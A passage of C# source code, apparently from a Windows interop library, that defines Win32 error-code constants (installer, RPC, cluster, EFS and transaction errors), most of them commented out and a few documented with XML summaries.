1638;\n      //public const uint ERROR_INVALID_COMMAND_LINE = 1639;\n      //public const uint ERROR_INSTALL_REMOTE_DISALLOWED = 1640;\n\n      /// <summary>(1641) The requested operation completed successfully.\n      /// <para>The system will be restarted so the changes can take effect.</para>\n      /// </summary>\n      public const uint ERROR_SUCCESS_REBOOT_INITIATED = 1641;\n\n      //public const uint ERROR_PATCH_TARGET_NOT_FOUND = 1642;\n      //public const uint ERROR_PATCH_PACKAGE_REJECTED = 1643;\n      //public const uint ERROR_INSTALL_TRANSFORM_REJECTED = 1644;\n      //public const uint ERROR_INSTALL_REMOTE_PROHIBITED = 1645;\n      //public const uint RPC_S_INVALID_STRING_BINDING = 1700;\n      //public const uint RPC_S_WRONG_KIND_OF_BINDING = 1701;\n      //public const uint RPC_S_INVALID_BINDING = 1702;\n      //public const uint RPC_S_PROTSEQ_NOT_SUPPORTED = 1703;\n      //public const uint RPC_S_INVALID_RPC_PROTSEQ = 1704;\n      //public const uint RPC_S_INVALID_STRING_UUID = 1705;\n      //public const uint RPC_S_INVALID_ENDPOINT_FORMAT = 1706;\n      //public const uint RPC_S_INVALID_NET_ADDR = 1707;\n      //public const uint RPC_S_NO_ENDPOINT_FOUND = 1708;\n      //public const uint RPC_S_INVALID_TIMEOUT = 1709;\n      //public const uint RPC_S_OBJECT_NOT_FOUND = 1710;\n      //public const uint RPC_S_ALREADY_REGISTERED = 1711;\n      //public const uint RPC_S_TYPE_ALREADY_REGISTERED = 1712;\n      //public const uint RPC_S_ALREADY_LISTENING = 1713;\n      //public const uint RPC_S_NO_PROTSEQS_REGISTERED = 1714;\n      //public const uint RPC_S_NOT_LISTENING = 1715;\n      //public const uint RPC_S_UNKNOWN_MGR_TYPE = 1716;\n      //public const uint RPC_S_UNKNOWN_IF = 1717;\n      //public const uint RPC_S_NO_BINDINGS = 1718;\n      //public const uint RPC_S_NO_PROTSEQS = 1719;\n      //public const uint RPC_S_CANT_CREATE_ENDPOINT = 1720;\n      //public const uint RPC_S_OUT_OF_RESOURCES = 1721;\n      //public const uint RPC_S_SERVER_UNAVAILABLE = 1722;\n      //public const uint RPC_S_SERVER_TOO_BUSY = 1723;\n      //public const uint RPC_S_INVALID_NETWORK_OPTIONS = 1724;\n      //public const uint RPC_S_NO_CALL_ACTIVE = 1725;\n      //public const uint RPC_S_CALL_FAILED = 1726;\n      //public const uint RPC_S_CALL_FAILED_DNE = 1727;\n      //public const uint RPC_S_PROTOCOL_ERROR = 1728;\n      //public const uint RPC_S_UNSUPPORTED_TRANS_SYN = 1730;\n      //public const uint RPC_S_UNSUPPORTED_TYPE = 1732;\n      //public const uint RPC_S_INVALID_TAG = 1733;\n      //public const uint RPC_S_INVALID_BOUND = 1734;\n      //public const uint RPC_S_NO_ENTRY_NAME = 1735;\n      //public const uint RPC_S_INVALID_NAME_SYNTAX = 1736;\n      //public const uint RPC_S_UNSUPPORTED_NAME_SYNTAX = 1737;\n      //public const uint RPC_S_UUID_NO_ADDRESS = 1739;\n      //public const uint RPC_S_DUPLICATE_ENDPOINT = 1740;\n      //public const uint RPC_S_UNKNOWN_AUTHN_TYPE = 1741;\n      //public const uint RPC_S_MAX_CALLS_TOO_SMALL = 1742;\n      //public const uint RPC_S_STRING_TOO_LONG = 1743;\n      //public const uint RPC_S_PROTSEQ_NOT_FOUND = 1744;\n      //public const uint RPC_S_PROCNUM_OUT_OF_RANGE = 1745;\n      //public const uint RPC_S_BINDING_HAS_NO_AUTH = 1746;\n      //public const uint RPC_S_UNKNOWN_AUTHN_SERVICE = 1747;\n      //public const uint RPC_S_UNKNOWN_AUTHN_LEVEL = 1748;\n      //public const uint RPC_S_INVALID_AUTH_IDENTITY = 1749;\n      //public const uint RPC_S_UNKNOWN_AUTHZ_SERVICE = 1750;\n      //public const uint EPT_S_INVALID_ENTRY = 1751;\n      //public const uint EPT_S_CANT_PERFORM_OP = 1752;\n      //public const uint EPT_S_NOT_REGISTERED = 1753;\n      //public const uint RPC_S_NOTHING_TO_EXPORT = 1754;\n      //public const uint RPC_S_INCOMPLETE_NAME = 1755;\n      //public const uint RPC_S_INVALID_VERS_OPTION = 1756;\n      //public const uint RPC_S_NO_MORE_MEMBERS = 1757;\n      //public const uint RPC_S_NOT_ALL_OBJS_UNEXPORTED = 1758;\n      //public const uint RPC_S_INTERFACE_NOT_FOUND = 1759;\n      //public const uint RPC_S_ENTRY_ALREADY_EXISTS = 1760;\n      //public const uint RPC_S_ENTRY_NOT_FOUND = 1761;\n      //public const uint RPC_S_NAME_SERVICE_UNAVAILABLE = 1762;\n      //public const uint RPC_S_INVALID_NAF_ID = 1763;\n      //public const uint RPC_S_CANNOT_SUPPORT = 1764;\n      //public const uint RPC_S_NO_CONTEXT_AVAILABLE = 1765;\n      //public const uint RPC_S_INTERNAL_ERROR = 1766;\n      //public const uint RPC_S_ZERO_DIVIDE = 1767;\n      //public const uint RPC_S_ADDRESS_ERROR = 1768;\n      //public const uint RPC_S_FP_DIV_ZERO = 1769;\n      //public const uint RPC_S_FP_UNDERFLOW = 1770;\n      //public const uint RPC_S_FP_OVERFLOW = 1771;\n      //public const uint RPC_X_NO_MORE_ENTRIES = 1772;\n      //public const uint RPC_X_SS_CHAR_TRANS_OPEN_FAIL = 1773;\n      //public const uint RPC_X_SS_CHAR_TRANS_SHORT_FILE = 1774;\n      //public const uint RPC_X_SS_IN_NULL_CONTEXT = 1775;\n      //public const uint RPC_X_SS_CONTEXT_DAMAGED = 1777;\n      //public const uint RPC_X_SS_HANDLES_MISMATCH = 1778;\n      //public const uint RPC_X_SS_CANNOT_GET_CALL_HANDLE = 1779;\n      //public const uint RPC_X_NULL_REF_POINTER = 1780;\n      //public const uint RPC_X_ENUM_VALUE_OUT_OF_RANGE = 1781;\n      //public const uint RPC_X_BYTE_COUNT_TOO_SMALL = 1782;\n\n      /// <summary>(1783) The stub received bad data.</summary>\n      public const uint RPC_X_BAD_STUB_DATA = 1783;\n\n      //public const uint ERROR_INVALID_USER_BUFFER = 1784;\n      //public const uint ERROR_UNRECOGNIZED_MEDIA = 1785;\n      //public const uint ERROR_NO_TRUST_LSA_SECRET = 1786;\n      //public const uint ERROR_NO_TRUST_SAM_ACCOUNT = 1787;\n      //public const uint ERROR_TRUSTED_DOMAIN_FAILURE = 1788;\n      //public const uint ERROR_TRUSTED_RELATIONSHIP_FAILURE = 1789;\n      //public const uint ERROR_TRUST_FAILURE = 1790;\n      //public const uint RPC_S_CALL_IN_PROGRESS = 1791;\n      //public const uint ERROR_NETLOGON_NOT_STARTED = 1792;\n      //public const uint ERROR_ACCOUNT_EXPIRED = 1793;\n      //public const uint ERROR_REDIRECTOR_HAS_OPEN_HANDLES = 1794;\n      //public const uint ERROR_PRINTER_DRIVER_ALREADY_INSTALLED = 1795;\n      //public const uint ERROR_UNKNOWN_PORT = 1796;\n      //public const uint ERROR_UNKNOWN_PRINTER_DRIVER = 1797;\n      //public const uint ERROR_UNKNOWN_PRINTPROCESSOR = 1798;\n      //public const uint ERROR_INVALID_SEPARATOR_FILE = 1799;\n      //public const uint ERROR_INVALID_PRIORITY = 1800;\n      //public const uint ERROR_INVALID_PRINTER_NAME = 1801;\n      //public const uint ERROR_PRINTER_ALREADY_EXISTS = 1802;\n      //public const uint ERROR_INVALID_PRINTER_COMMAND = 1803;\n      //public const uint ERROR_INVALID_DATATYPE = 1804;\n      //public const uint ERROR_INVALID_ENVIRONMENT = 1805;\n      //public const uint RPC_S_NO_MORE_BINDINGS = 1806;\n      //public const uint ERROR_NOLOGON_INTERDOMAIN_TRUST_ACCOUNT = 1807;\n      //public const uint ERROR_NOLOGON_WORKSTATION_TRUST_ACCOUNT = 1808;\n      //public const uint ERROR_NOLOGON_SERVER_TRUST_ACCOUNT = 1809;\n      //public const uint ERROR_DOMAIN_TRUST_INCONSISTENT = 1810;\n      //public const uint ERROR_SERVER_HAS_OPEN_HANDLES = 1811;\n      //public const uint ERROR_RESOURCE_DATA_NOT_FOUND = 1812;\n      //public const uint ERROR_RESOURCE_TYPE_NOT_FOUND = 1813;\n      //public const uint ERROR_RESOURCE_NAME_NOT_FOUND = 1814;\n      //public const uint ERROR_RESOURCE_LANG_NOT_FOUND = 1815;\n      //public const uint ERROR_NOT_ENOUGH_QUOTA = 1816;\n      //public const uint RPC_S_NO_INTERFACES = 1817;\n      //public const uint RPC_S_CALL_CANCELLED = 1818;\n      //public const uint RPC_S_BINDING_INCOMPLETE = 1819;\n      //public const uint RPC_S_COMM_FAILURE = 1820;\n      //public const uint RPC_S_UNSUPPORTED_AUTHN_LEVEL = 1821;\n      //public const uint RPC_S_NO_PRINC_NAME = 1822;\n      //public const uint RPC_S_NOT_RPC_ERROR = 1823;\n      //public const uint RPC_S_UUID_LOCAL_ONLY = 1824;\n      //public const uint RPC_S_SEC_PKG_ERROR = 1825;\n      //public const uint RPC_S_NOT_CANCELLED = 1826;\n      //public const uint RPC_X_INVALID_ES_ACTION = 1827;\n      //public const uint RPC_X_WRONG_ES_VERSION = 1828;\n      //public const uint RPC_X_WRONG_STUB_VERSION = 1829;\n      //public const uint RPC_X_INVALID_PIPE_OBJECT = 1830;\n      //public const uint RPC_X_WRONG_PIPE_ORDER = 1831;\n      //public const uint RPC_X_WRONG_PIPE_VERSION = 1832;\n      //public const uint RPC_S_GROUP_MEMBER_NOT_FOUND = 1898;\n      //public const uint EPT_S_CANT_CREATE = 1899;\n      //public const uint RPC_S_INVALID_OBJECT = 1900;\n      //public const uint ERROR_INVALID_TIME = 1901;\n      //public const uint ERROR_INVALID_FORM_NAME = 1902;\n      //public const uint ERROR_INVALID_FORM_SIZE = 1903;\n      //public const uint ERROR_ALREADY_WAITING = 1904;\n      //public const uint ERROR_PRINTER_DELETED = 1905;\n      //public const uint ERROR_INVALID_PRINTER_STATE = 1906;\n      //public const uint ERROR_PASSWORD_MUST_CHANGE = 1907;\n      //public const uint ERROR_DOMAIN_CONTROLLER_NOT_FOUND = 1908;\n      //public const uint ERROR_ACCOUNT_LOCKED_OUT = 1909;\n      //public const uint OR_INVALID_OXID = 1910;\n      //public const uint OR_INVALID_OID = 1911;\n      //public const uint OR_INVALID_SET = 1912;\n      //public const uint RPC_S_SEND_INCOMPLETE = 1913;\n      //public const uint RPC_S_INVALID_ASYNC_HANDLE = 1914;\n      //public const uint RPC_S_INVALID_ASYNC_CALL = 1915;\n      //public const uint RPC_X_PIPE_CLOSED = 1916;\n      //public const uint RPC_X_PIPE_DISCIPLINE_ERROR = 1917;\n      //public const uint RPC_X_PIPE_EMPTY = 1918;\n      //public const uint ERROR_NO_SITENAME = 1919;\n      //public const uint ERROR_CANT_ACCESS_FILE = 1920;\n      //public const uint ERROR_CANT_RESOLVE_FILENAME = 1921;\n      //public const uint RPC_S_ENTRY_TYPE_MISMATCH = 1922;\n      //public const uint RPC_S_NOT_ALL_OBJS_EXPORTED = 1923;\n      //public const uint RPC_S_INTERFACE_NOT_EXPORTED = 1924;\n      //public const uint RPC_S_PROFILE_NOT_ADDED = 1925;\n      //public const uint RPC_S_PRF_ELT_NOT_ADDED = 1926;\n      //public const uint RPC_S_PRF_ELT_NOT_REMOVED = 1927;\n      //public const uint RPC_S_GRP_ELT_NOT_ADDED = 1928;\n      //public const uint RPC_S_GRP_ELT_NOT_REMOVED = 1929;\n      //public const uint ERROR_KM_DRIVER_BLOCKED = 1930;\n      //public const uint ERROR_CONTEXT_EXPIRED = 1931;\n      //public const uint ERROR_PER_USER_TRUST_QUOTA_EXCEEDED = 1932;\n      //public const uint ERROR_ALL_USER_TRUST_QUOTA_EXCEEDED = 1933;\n      //public const uint ERROR_USER_DELETE_TRUST_QUOTA_EXCEEDED = 1934;\n      //public const uint ERROR_AUTHENTICATION_FIREWALL_FAILED = 1935;\n      //public const uint ERROR_REMOTE_PRINT_CONNECTIONS_BLOCKED = 1936;\n      //public const uint ERROR_INVALID_PIXEL_FORMAT = 2000;\n      //public const uint ERROR_BAD_DRIVER = 2001;\n      //public const uint ERROR_INVALID_WINDOW_STYLE = 2002;\n      //public const uint ERROR_METAFILE_NOT_SUPPORTED = 2003;\n      //public const uint ERROR_TRANSFORM_NOT_SUPPORTED = 2004;\n      //public const uint ERROR_CLIPPING_NOT_SUPPORTED = 2005;\n      //public const uint ERROR_INVALID_CMM = 2010;\n      //public const uint ERROR_INVALID_PROFILE = 2011;\n      //public const uint ERROR_TAG_NOT_FOUND = 2012;\n      //public const uint ERROR_TAG_NOT_PRESENT = 2013;\n      //public const uint ERROR_DUPLICATE_TAG = 2014;\n      //public const uint ERROR_PROFILE_NOT_ASSOCIATED_WITH_DEVICE = 2015;\n      //public const uint ERROR_PROFILE_NOT_FOUND = 2016;\n      //public const uint ERROR_INVALID_COLORSPACE = 2017;\n      //public const uint ERROR_ICM_NOT_ENABLED = 2018;\n      //public const uint ERROR_DELETING_ICM_XFORM = 2019;\n      //public const uint ERROR_INVALID_TRANSFORM = 2020;\n      //public const uint ERROR_COLORSPACE_MISMATCH = 2021;\n      //public const uint ERROR_INVALID_COLORINDEX = 2022;\n      //public const uint ERROR_CONNECTED_OTHER_PASSWORD = 2108;\n      //public const uint ERROR_CONNECTED_OTHER_PASSWORD_DEFAULT = 2109;\n      //public const uint ERROR_UNKNOWN_PRINT_MONITOR = 3000;\n      //public const uint ERROR_PRINTER_DRIVER_IN_USE = 3001;\n      //public const uint ERROR_SPOOL_FILE_NOT_FOUND = 3002;\n      //public const uint ERROR_SPL_NO_STARTDOC = 3003;\n      //public const uint ERROR_SPL_NO_ADDJOB = 3004;\n      //public const uint ERROR_PRINT_PROCESSOR_ALREADY_INSTALLED = 3005;\n      //public const uint ERROR_PRINT_MONITOR_ALREADY_INSTALLED = 3006;\n      //public const uint ERROR_INVALID_PRINT_MONITOR = 3007;\n      //public const uint ERROR_PRINT_MONITOR_IN_USE = 3008;\n      //public const uint ERROR_PRINTER_HAS_JOBS_QUEUED = 3009;\n\n      /// <summary>(3010) The requested operation is successful.\n      /// <para>Changes will not be effective until the system is rebooted.</para>\n      /// </summary>\n      public const uint ERROR_SUCCESS_REBOOT_REQUIRED = 3010;\n\n      /// <summary>(3011) The requested operation is successful.\n      /// <para>Changes will not be effective until the service is restarted.</para>\n      /// </summary>\n      public const uint ERROR_SUCCESS_RESTART_REQUIRED = 3011;\n\n      //public const uint ERROR_PRINTER_NOT_FOUND = 3012;\n      //public const uint ERROR_PRINTER_DRIVER_WARNED = 3013;\n      //public const uint ERROR_PRINTER_DRIVER_BLOCKED = 3014;\n      //public const uint ERROR_WINS_INTERNAL = 4000;\n      //public const uint ERROR_CAN_NOT_DEL_LOCAL_WINS = 4001;\n      //public const uint ERROR_STATIC_INIT = 4002;\n      //public const uint ERROR_INC_BACKUP = 4003;\n      //public const uint ERROR_FULL_BACKUP = 4004;\n      //public const uint ERROR_REC_NON_EXISTENT = 4005;\n      //public const uint ERROR_RPL_NOT_ALLOWED = 4006;\n      //public const uint ERROR_DHCP_ADDRESS_CONFLICT = 4100;\n      //public const uint ERROR_WMI_GUID_NOT_FOUND = 4200;\n      //public const uint ERROR_WMI_INSTANCE_NOT_FOUND = 4201;\n      //public const uint ERROR_WMI_ITEMID_NOT_FOUND = 4202;\n      //public const uint ERROR_WMI_TRY_AGAIN = 4203;\n      //public const uint ERROR_WMI_DP_NOT_FOUND = 4204;\n      //public const uint ERROR_WMI_UNRESOLVED_INSTANCE_REF = 4205;\n      //public const uint ERROR_WMI_ALREADY_ENABLED = 4206;\n      //public const uint ERROR_WMI_GUID_DISCONNECTED = 4207;\n      //public const uint ERROR_WMI_SERVER_UNAVAILABLE = 4208;\n      //public const uint ERROR_WMI_DP_FAILED = 4209;\n      //public const uint ERROR_WMI_INVALID_MOF = 4210;\n      //public const uint ERROR_WMI_INVALID_REGINFO = 4211;\n      //public const uint ERROR_WMI_ALREADY_DISABLED = 4212;\n      //public const uint ERROR_WMI_READ_ONLY = 4213;\n      //public const uint ERROR_WMI_SET_FAILURE = 4214;\n      //public const uint ERROR_INVALID_MEDIA = 4300;\n      //public const uint ERROR_INVALID_LIBRARY = 4301;\n      //public const uint ERROR_INVALID_MEDIA_POOL = 4302;\n      //public const uint ERROR_DRIVE_MEDIA_MISMATCH = 4303;\n      //public const uint ERROR_MEDIA_OFFLINE = 4304;\n      //public const uint ERROR_LIBRARY_OFFLINE = 4305;\n      //public const uint ERROR_EMPTY = 4306;\n      //public const uint ERROR_NOT_EMPTY = 4307;\n      //public const uint ERROR_MEDIA_UNAVAILABLE = 4308;\n      //public const uint ERROR_RESOURCE_DISABLED = 4309;\n      //public const uint ERROR_INVALID_CLEANER = 4310;\n      //public const uint ERROR_UNABLE_TO_CLEAN = 4311;\n      //public const uint ERROR_OBJECT_NOT_FOUND = 4312;\n      //public const uint ERROR_DATABASE_FAILURE = 4313;\n      //public const uint ERROR_DATABASE_FULL = 4314;\n      //public const uint ERROR_MEDIA_INCOMPATIBLE = 4315;\n      //public const uint ERROR_RESOURCE_NOT_PRESENT = 4316;\n      //public const uint ERROR_INVALID_OPERATION = 4317;\n      //public const uint ERROR_MEDIA_NOT_AVAILABLE = 4318;\n      //public const uint ERROR_DEVICE_NOT_AVAILABLE = 4319;\n      //public const uint ERROR_REQUEST_REFUSED = 4320;\n      //public const uint ERROR_INVALID_DRIVE_OBJECT = 4321;\n      //public const uint ERROR_LIBRARY_FULL = 4322;\n      //public const uint ERROR_MEDIUM_NOT_ACCESSIBLE = 4323;\n      //public const uint ERROR_UNABLE_TO_LOAD_MEDIUM = 4324;\n      //public const uint ERROR_UNABLE_TO_INVENTORY_DRIVE = 4325;\n      //public const uint ERROR_UNABLE_TO_INVENTORY_SLOT = 4326;\n      //public const uint ERROR_UNABLE_TO_INVENTORY_TRANSPORT = 4327;\n      //public const uint ERROR_TRANSPORT_FULL = 4328;\n      //public const uint ERROR_CONTROLLING_IEPORT = 4329;\n      //public const uint ERROR_UNABLE_TO_EJECT_MOUNTED_MEDIA = 4330;\n      //public const uint ERROR_CLEANER_SLOT_SET = 4331;\n      //public const uint ERROR_CLEANER_SLOT_NOT_SET = 4332;\n      //public const uint ERROR_CLEANER_CARTRIDGE_SPENT = 4333;\n      //public const uint ERROR_UNEXPECTED_OMID = 4334;\n      //public const uint ERROR_CANT_DELETE_LAST_ITEM = 4335;\n      //public const uint ERROR_MESSAGE_EXCEEDS_MAX_SIZE = 4336;\n      //public const uint ERROR_VOLUME_CONTAINS_SYS_FILES = 4337;\n      //public const uint ERROR_INDIGENOUS_TYPE = 4338;\n      //public const uint ERROR_NO_SUPPORTING_DRIVES = 4339;\n      //public const uint ERROR_CLEANER_CARTRIDGE_INSTALLED = 4340;\n      //public const uint ERROR_IEPORT_FULL = 4341;\n      //public const uint ERROR_FILE_OFFLINE = 4350;\n      //public const uint ERROR_REMOTE_STORAGE_NOT_ACTIVE = 4351;\n      //public const uint ERROR_REMOTE_STORAGE_MEDIA_ERROR = 4352;\n\n      /// <summary>(4390) The file or directory is not a reparse point.</summary>\n      public const uint ERROR_NOT_A_REPARSE_POINT = 4390;\n\n      //public const uint ERROR_REPARSE_ATTRIBUTE_CONFLICT = 4391;\n\n      /// <summary>The data present in the reparse point buffer is invalid.</summary>\n      public const uint ERROR_INVALID_REPARSE_DATA = 4392;\n\n      //public const uint ERROR_REPARSE_TAG_INVALID = 4393;\n      //public const uint ERROR_REPARSE_TAG_MISMATCH = 4394;\n      //public const uint ERROR_VOLUME_NOT_SIS_ENABLED = 4500;\n      //public const uint ERROR_DEPENDENT_RESOURCE_EXISTS = 5001;\n      //public const uint ERROR_DEPENDENCY_NOT_FOUND = 5002;\n      //public const uint ERROR_DEPENDENCY_ALREADY_EXISTS = 5003;\n      //public const uint ERROR_RESOURCE_NOT_ONLINE = 5004;\n      //public const uint ERROR_HOST_NODE_NOT_AVAILABLE = 5005;\n      //public const uint ERROR_RESOURCE_NOT_AVAILABLE = 5006;\n      //public const uint ERROR_RESOURCE_NOT_FOUND = 5007;\n      //public const uint ERROR_SHUTDOWN_CLUSTER = 5008;\n      //public const uint ERROR_CANT_EVICT_ACTIVE_NODE = 5009;\n      //public const uint ERROR_OBJECT_ALREADY_EXISTS = 5010;\n      //public const uint ERROR_OBJECT_IN_LIST = 5011;\n      //public const uint ERROR_GROUP_NOT_AVAILABLE = 5012;\n      //public const uint ERROR_GROUP_NOT_FOUND = 5013;\n      //public const uint ERROR_GROUP_NOT_ONLINE = 5014;\n      //public const uint ERROR_HOST_NODE_NOT_RESOURCE_OWNER = 5015;\n      //public const uint ERROR_HOST_NODE_NOT_GROUP_OWNER = 5016;\n      //public const uint ERROR_RESMON_CREATE_FAILED = 5017;\n      //public const uint ERROR_RESMON_ONLINE_FAILED = 5018;\n      //public const uint ERROR_RESOURCE_ONLINE = 5019;\n      //public const uint ERROR_QUORUM_RESOURCE = 5020;\n      //public const uint ERROR_NOT_QUORUM_CAPABLE = 5021;\n      //public const uint ERROR_CLUSTER_SHUTTING_DOWN = 5022;\n      //public const uint ERROR_INVALID_STATE = 5023;\n      //public const uint ERROR_RESOURCE_PROPERTIES_STORED = 5024;\n      //public const uint ERROR_NOT_QUORUM_CLASS = 5025;\n      //public const uint ERROR_CORE_RESOURCE = 5026;\n      //public const uint ERROR_QUORUM_RESOURCE_ONLINE_FAILED = 5027;\n      //public const uint ERROR_QUORUMLOG_OPEN_FAILED = 5028;\n      //public const uint ERROR_CLUSTERLOG_CORRUPT = 5029;\n      //public const uint ERROR_CLUSTERLOG_RECORD_EXCEEDS_MAXSIZE = 5030;\n      //public const uint ERROR_CLUSTERLOG_EXCEEDS_MAXSIZE = 5031;\n      //public const uint ERROR_CLUSTERLOG_CHKPOINT_NOT_FOUND = 5032;\n      //public const uint ERROR_CLUSTERLOG_NOT_ENOUGH_SPACE = 5033;\n      //public const uint ERROR_QUORUM_OWNER_ALIVE = 5034;\n      //public const uint ERROR_NETWORK_NOT_AVAILABLE = 5035;\n      //public const uint ERROR_NODE_NOT_AVAILABLE = 5036;\n      //public const uint ERROR_ALL_NODES_NOT_AVAILABLE = 5037;\n      //public const uint ERROR_RESOURCE_FAILED = 5038;\n      //public const uint ERROR_CLUSTER_INVALID_NODE = 5039;\n      //public const uint ERROR_CLUSTER_NODE_EXISTS = 5040;\n      //public const uint ERROR_CLUSTER_JOIN_IN_PROGRESS = 5041;\n      //public const uint ERROR_CLUSTER_NODE_NOT_FOUND = 5042;\n      //public const uint ERROR_CLUSTER_LOCAL_NODE_NOT_FOUND = 5043;\n      //public const uint ERROR_CLUSTER_NETWORK_EXISTS = 5044;\n      //public const uint ERROR_CLUSTER_NETWORK_NOT_FOUND = 5045;\n      //public const uint ERROR_CLUSTER_NETINTERFACE_EXISTS = 5046;\n      //public const uint ERROR_CLUSTER_NETINTERFACE_NOT_FOUND = 5047;\n      //public const uint ERROR_CLUSTER_INVALID_REQUEST = 5048;\n      //public const uint ERROR_CLUSTER_INVALID_NETWORK_PROVIDER = 5049;\n      //public const uint ERROR_CLUSTER_NODE_DOWN = 5050;\n      //public const uint ERROR_CLUSTER_NODE_UNREACHABLE = 5051;\n      //public const uint ERROR_CLUSTER_NODE_NOT_MEMBER = 5052;\n      //public const uint ERROR_CLUSTER_JOIN_NOT_IN_PROGRESS = 5053;\n      //public const uint ERROR_CLUSTER_INVALID_NETWORK = 5054;\n      //public const uint ERROR_CLUSTER_NODE_UP = 5056;\n      //public const uint ERROR_CLUSTER_IPADDR_IN_USE = 5057;\n      //public const uint ERROR_CLUSTER_NODE_NOT_PAUSED = 5058;\n      //public const uint ERROR_CLUSTER_NO_SECURITY_CONTEXT = 5059;\n      //public const uint ERROR_CLUSTER_NETWORK_NOT_INTERNAL = 5060;\n      //public const uint ERROR_CLUSTER_NODE_ALREADY_UP = 5061;\n      //public const uint ERROR_CLUSTER_NODE_ALREADY_DOWN = 5062;\n      //public const uint ERROR_CLUSTER_NETWORK_ALREADY_ONLINE = 5063;\n      //public const uint ERROR_CLUSTER_NETWORK_ALREADY_OFFLINE = 5064;\n      //public const uint ERROR_CLUSTER_NODE_ALREADY_MEMBER = 5065;\n      //public const uint ERROR_CLUSTER_LAST_INTERNAL_NETWORK = 5066;\n      //public const uint ERROR_CLUSTER_NETWORK_HAS_DEPENDENTS = 5067;\n      //public const uint ERROR_INVALID_OPERATION_ON_QUORUM = 5068;\n      //public const uint ERROR_DEPENDENCY_NOT_ALLOWED = 5069;\n      //public const uint ERROR_CLUSTER_NODE_PAUSED = 5070;\n      //public const uint ERROR_NODE_CANT_HOST_RESOURCE = 5071;\n      //public const uint ERROR_CLUSTER_NODE_NOT_READY = 5072;\n      //public const uint ERROR_CLUSTER_NODE_SHUTTING_DOWN = 5073;\n      //public const uint ERROR_CLUSTER_JOIN_ABORTED = 5074;\n      //public const uint ERROR_CLUSTER_INCOMPATIBLE_VERSIONS = 5075;\n      //public const uint ERROR_CLUSTER_MAXNUM_OF_RESOURCES_EXCEEDED = 5076;\n      //public const uint ERROR_CLUSTER_SYSTEM_CONFIG_CHANGED = 5077;\n      //public const uint ERROR_CLUSTER_RESOURCE_TYPE_NOT_FOUND = 5078;\n      //public const uint ERROR_CLUSTER_RESTYPE_NOT_SUPPORTED = 5079;\n      //public const uint ERROR_CLUSTER_RESNAME_NOT_FOUND = 5080;\n      //public const uint ERROR_CLUSTER_NO_RPC_PACKAGES_REGISTERED = 5081;\n      //public const uint ERROR_CLUSTER_OWNER_NOT_IN_PREFLIST = 5082;\n      //public const uint ERROR_CLUSTER_DATABASE_SEQMISMATCH = 5083;\n      //public const uint ERROR_RESMON_INVALID_STATE = 5084;\n      //public const uint ERROR_CLUSTER_GUM_NOT_LOCKER = 5085;\n      //public const uint ERROR_QUORUM_DISK_NOT_FOUND = 5086;\n      //public const uint ERROR_DATABASE_BACKUP_CORRUPT = 5087;\n      //public const uint ERROR_CLUSTER_NODE_ALREADY_HAS_DFS_ROOT = 5088;\n      //public const uint ERROR_RESOURCE_PROPERTY_UNCHANGEABLE = 5089;\n      //public const uint ERROR_CLUSTER_MEMBERSHIP_INVALID_STATE = 5890;\n      //public const uint ERROR_CLUSTER_QUORUMLOG_NOT_FOUND = 5891;\n      //public const uint ERROR_CLUSTER_MEMBERSHIP_HALT = 5892;\n      //public const uint ERROR_CLUSTER_INSTANCE_ID_MISMATCH = 5893;\n      //public const uint ERROR_CLUSTER_NETWORK_NOT_FOUND_FOR_IP = 5894;\n      //public const uint ERROR_CLUSTER_PROPERTY_DATA_TYPE_MISMATCH = 5895;\n      //public const uint ERROR_CLUSTER_EVICT_WITHOUT_CLEANUP = 5896;\n      //public const uint ERROR_CLUSTER_PARAMETER_MISMATCH = 5897;\n      //public const uint ERROR_NODE_CANNOT_BE_CLUSTERED = 5898;\n      //public const uint ERROR_CLUSTER_WRONG_OS_VERSION = 5899;\n      //public const uint ERROR_CLUSTER_CANT_CREATE_DUP_CLUSTER_NAME = 5900;\n      //public const uint ERROR_CLUSCFG_ALREADY_COMMITTED = 5901;\n      //public const uint ERROR_CLUSCFG_ROLLBACK_FAILED = 5902;\n      //public const uint ERROR_CLUSCFG_SYSTEM_DISK_DRIVE_LETTER_CONFLICT = 5903;\n      //public const uint ERROR_CLUSTER_OLD_VERSION = 5904;\n      //public const uint ERROR_CLUSTER_MISMATCHED_COMPUTER_ACCT_NAME = 5905;\n      //public const uint ERROR_ENCRYPTION_FAILED = 6000;\n      //public const uint ERROR_DECRYPTION_FAILED = 6001;\n      //public const uint ERROR_FILE_ENCRYPTED = 6002;\n      //public const uint ERROR_NO_RECOVERY_POLICY = 6003;\n      //public const uint ERROR_NO_EFS = 6004;\n      //public const uint ERROR_WRONG_EFS = 6005;\n      //public const uint ERROR_NO_USER_KEYS = 6006;\n      //public const uint ERROR_FILE_NOT_ENCRYPTED = 6007;\n      //public const uint ERROR_NOT_EXPORT_FORMAT = 6008;\n\n      /// <summary>(6009) The specified file is read only.</summary>\n      public const uint ERROR_FILE_READ_ONLY = 6009;\n\n      //public const uint ERROR_DIR_EFS_DISALLOWED = 6010;\n      //public const uint ERROR_EFS_SERVER_NOT_TRUSTED = 6011;\n\n      /// <summary>(6012) Recovery policy configured for this system contains invalid recovery certificate.</summary>\n      public const uint ERROR_BAD_RECOVERY_POLICY = 6012;\n\n      //public const uint ERROR_EFS_ALG_BLOB_TOO_BIG = 6013;\n      //public const uint ERROR_VOLUME_NOT_SUPPORT_EFS = 6014;\n      //public const uint ERROR_EFS_DISABLED = 6015;\n      //public const uint ERROR_EFS_VERSION_NOT_SUPPORT = 6016;\n      //public const uint ERROR_NO_BROWSER_SERVERS_FOUND = 6118;\n      //public const uint SCHED_E_SERVICE_NOT_LOCALSYSTEM = 6200;\n\n      /// <summary>(6700) The transaction handle associated with this operation is not valid.</summary>\n      public const uint ERROR_INVALID_TRANSACTION = 6700;\n\n      /// <summary>(6701) The requested operation was made in the context\n      /// <para>of a transaction that is no longer active.</para>\n      /// </summary>\n      public const uint ERROR_TRANSACTION_NOT_ACTIVE = 6701;\n\n      /// <summary>(6702) The requested operation is not valid\n      /// <para>on the Transaction object in its current state.</para>\n      /// </summary>\n      public const uint ERROR_TRANSACTION_REQUEST_NOT_VALID = 6702;\n\n      /// <summary>(6703) The caller has called a response API, but the response is not expected\n      /// <para>because the TM did not issue the corresponding request to the caller.</para>\n      /// </summary>\n      public const uint ERROR_TRANSACTION_NOT_REQUESTED = 6703;\n\n      /// <summary>(6704) It is too late to perform the requested operation,\n      /// <para>since the Transaction has already been aborted.</para>\n      /// </summary>\n      public const uint ERROR_TRANSACTION_ALREADY_ABORTED = 6704;\n\n      /// <summary>(6705) It is too late to perform the requested operation,\n      /// <para>since the Transaction has already been committed.</para>\n      /// </summary>\n      public const uint 